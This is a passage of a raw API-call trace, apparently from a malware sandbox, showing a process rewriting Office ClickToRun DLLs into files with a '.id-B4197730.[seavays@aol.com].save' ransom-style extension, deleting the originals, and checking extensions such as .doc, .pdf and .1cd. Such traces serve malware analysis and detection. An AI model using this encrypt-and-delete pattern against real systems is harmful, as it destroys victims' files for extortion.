(lpString=".1cd") returned 4 [0068.140] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.140] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0068.140] lstrlenW (lpString=".jpg") returned 4 [0068.140] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.141] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.141] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0068.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.142] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=18624) returned 1 [0068.142] CloseHandle (hObject=0x38c) returned 1 [0068.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0068.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.142] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.143] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.143] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.143] GetLastError () returned 0x0 [0068.143] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0068.145] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0068.147] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.147] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11a, lpOverlapped=0x0) returned 1 [0068.147] SetEndOfFile (hFile=0x34c) returned 1 [0068.147] CloseHandle (hObject=0x34c) returned 1 [0068.149] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.149] SetEndOfFile (hFile=0x38c) returned 1 [0068.150] CloseHandle (hObject=0x38c) returned 1 [0068.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.151] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0068.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.151] lstrlenW (lpString=".doc") returned 4 [0068.151] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.152] lstrlenW (lpString=".docx") returned 5 [0068.152] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.152] lstrlenW (lpString=".pdf") returned 4 [0068.152] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.152] lstrlenW (lpString=".xls") returned 4 [0068.152] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.152] lstrlenW (lpString=".xlsx") returned 5 [0068.152] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.152] lstrlenW (lpString=".ppt") returned 4 [0068.152] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.152] lstrlenW (lpString=".zip") returned 4 [0068.152] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.152] lstrlenW (lpString=".rar") returned 4 [0068.152] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.152] lstrlenW (lpString=".bz2") returned 4 [0068.152] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.152] lstrlenW (lpString=".7z") returned 3 [0068.152] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.152] lstrlenW (lpString=".dbf") returned 4 [0068.152] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.152] lstrlenW (lpString=".1cd") returned 4 [0068.152] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.153] lstrlenW (lpString=".jpg") returned 4 [0068.153] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.153] lstrlenW (lpString=".doc") returned 4 [0068.153] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.153] lstrlenW (lpString=".docx") returned 5 [0068.153] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.153] lstrlenW (lpString=".pdf") returned 4 [0068.153] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.153] lstrlenW (lpString=".xls") returned 4 [0068.153] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.153] lstrlenW (lpString=".xlsx") returned 5 [0068.153] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.153] lstrlenW (lpString=".ppt") returned 4 [0068.153] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.153] lstrlenW (lpString=".zip") returned 4 [0068.154] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.154] lstrlenW (lpString=".rar") returned 4 [0068.154] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.154] lstrlenW (lpString=".bz2") returned 4 [0068.154] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.154] lstrlenW (lpString=".7z") returned 3 [0068.154] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.154] lstrlenW (lpString=".dbf") returned 4 [0068.154] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.154] lstrlenW (lpString=".1cd") returned 4 [0068.154] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0068.154] lstrlenW (lpString=".jpg") returned 4 [0068.154] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.154] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.154] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33 [0068.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.155] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=11616) returned 1 [0068.155] CloseHandle (hObject=0x38c) returned 1 [0068.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0068.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.155] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.156] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.156] GetLastError () returned 0x0 [0068.156] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x2d60, lpOverlapped=0x0) returned 1 [0068.158] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0068.159] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.160] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x116, lpOverlapped=0x0) returned 1 [0068.160] SetEndOfFile (hFile=0x34c) returned 1 [0068.160] CloseHandle (hObject=0x34c) returned 1 [0068.161] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.161] SetEndOfFile (hFile=0x38c) returned 1 [0068.162] CloseHandle (hObject=0x38c) returned 1 [0068.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.163] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1 [0068.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.163] lstrlenW (lpString=".doc") returned 4 [0068.163] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.163] lstrlenW (lpString=".docx") returned 5 [0068.164] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.164] lstrlenW (lpString=".pdf") returned 4 [0068.164] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.164] lstrlenW (lpString=".xls") returned 4 [0068.164] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.164] lstrlenW (lpString=".xlsx") returned 5 [0068.164] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.164] lstrlenW (lpString=".ppt") returned 4 [0068.164] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.164] lstrlenW (lpString=".zip") returned 4 [0068.164] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.164] lstrlenW (lpString=".rar") returned 4 [0068.164] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.164] lstrlenW (lpString=".bz2") returned 4 [0068.164] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.164] lstrlenW (lpString=".7z") returned 3 [0068.164] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.164] lstrlenW (lpString=".dbf") returned 4 [0068.164] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.164] lstrlenW (lpString=".1cd") returned 4 [0068.164] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.164] lstrlenW (lpString=".jpg") returned 4 [0068.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.165] lstrlenW (lpString=".doc") returned 4 [0068.165] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.165] lstrlenW (lpString=".docx") returned 5 [0068.165] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.165] lstrlenW (lpString=".pdf") returned 4 [0068.165] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.165] lstrlenW (lpString=".xls") returned 4 [0068.165] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.165] lstrlenW (lpString=".xlsx") returned 5 [0068.165] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.165] lstrlenW (lpString=".ppt") returned 4 [0068.165] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.165] lstrlenW (lpString=".zip") returned 4 [0068.165] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.165] lstrlenW (lpString=".rar") returned 4 [0068.165] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.165] lstrlenW (lpString=".bz2") returned 4 [0068.165] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.165] lstrlenW (lpString=".7z") returned 3 [0068.165] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.165] lstrlenW (lpString=".dbf") returned 4 [0068.165] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.166] lstrlenW (lpString=".1cd") returned 4 [0068.166] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.166] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91 [0068.166] lstrlenW (lpString=".jpg") returned 4 [0068.166] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.166] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.166] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31 [0068.166] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.166] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=19648) returned 1 [0068.167] CloseHandle (hObject=0x38c) returned 1 [0068.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0068.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.167] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.167] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0068.168] GetLastError () returned 0x0 [0068.168] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0068.360] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0068.361] ReadFile (in: hFile=0x38c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.361] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x112, lpOverlapped=0x0) returned 1 [0068.362] SetEndOfFile (hFile=0x34c) returned 1 [0068.362] CloseHandle (hObject=0x34c) returned 1 [0068.363] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.363] SetEndOfFile (hFile=0x38c) returned 1 [0068.364] CloseHandle (hObject=0x38c) returned 1 [0068.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.364] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1 [0068.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.365] lstrlenW (lpString=".doc") returned 4 [0068.365] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.365] lstrlenW (lpString=".docx") returned 5 [0068.365] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.365] lstrlenW (lpString=".pdf") returned 4 [0068.365] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.365] lstrlenW (lpString=".xls") returned 4 [0068.365] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.365] lstrlenW (lpString=".xlsx") returned 5 [0068.365] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.365] lstrlenW (lpString=".ppt") returned 4 [0068.365] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.365] lstrlenW (lpString=".zip") returned 4 [0068.365] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.365] lstrlenW (lpString=".rar") returned 4 [0068.365] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.365] lstrlenW (lpString=".bz2") returned 4 [0068.365] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.365] lstrlenW (lpString=".7z") returned 3 [0068.365] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.365] lstrlenW (lpString=".dbf") returned 4 [0068.365] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.365] lstrlenW (lpString=".1cd") returned 4 [0068.365] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.366] lstrlenW (lpString=".jpg") returned 4 [0068.366] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.366] lstrlenW (lpString=".doc") returned 4 [0068.366] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.366] lstrlenW (lpString=".docx") returned 5 [0068.366] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.366] lstrlenW (lpString=".pdf") returned 4 [0068.366] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.366] lstrlenW (lpString=".xls") returned 4 [0068.366] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.366] lstrlenW (lpString=".xlsx") returned 5 [0068.366] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.366] lstrlenW (lpString=".ppt") returned 4 [0068.366] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89 [0068.366] lstrlenW (lpString=".zip") returned 4 [0068.366] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.366] lstrlenW (lpString=".rar") returned 4 [0068.366] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.366] lstrlenW (lpString=".bz2") returned 4 [0068.366] lstrcmpiW (lpString1=".bz2", 